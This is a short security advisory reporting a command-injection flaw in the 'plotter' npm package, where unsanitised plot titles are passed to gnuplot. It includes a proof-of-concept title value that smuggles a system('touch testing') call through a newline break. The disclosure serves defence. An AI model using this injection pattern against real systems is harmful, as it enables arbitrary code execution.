Details

Command Injection in plotter All versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory: ``` var plot = require('plotter').plot; const title = 'Example "\nset title system("touch testing")#'; plot({ data: [ 3, 1, 2, 3, 4 ], filename: 'output.pdf', style: 'linespoints', title: title, logscale: true, xlabel: 'time', ylabel: 'length of string', format: 'pdf' }); ``` ## Recommendation No fix is currently available. Consider using an alternative package until a fix is made available.
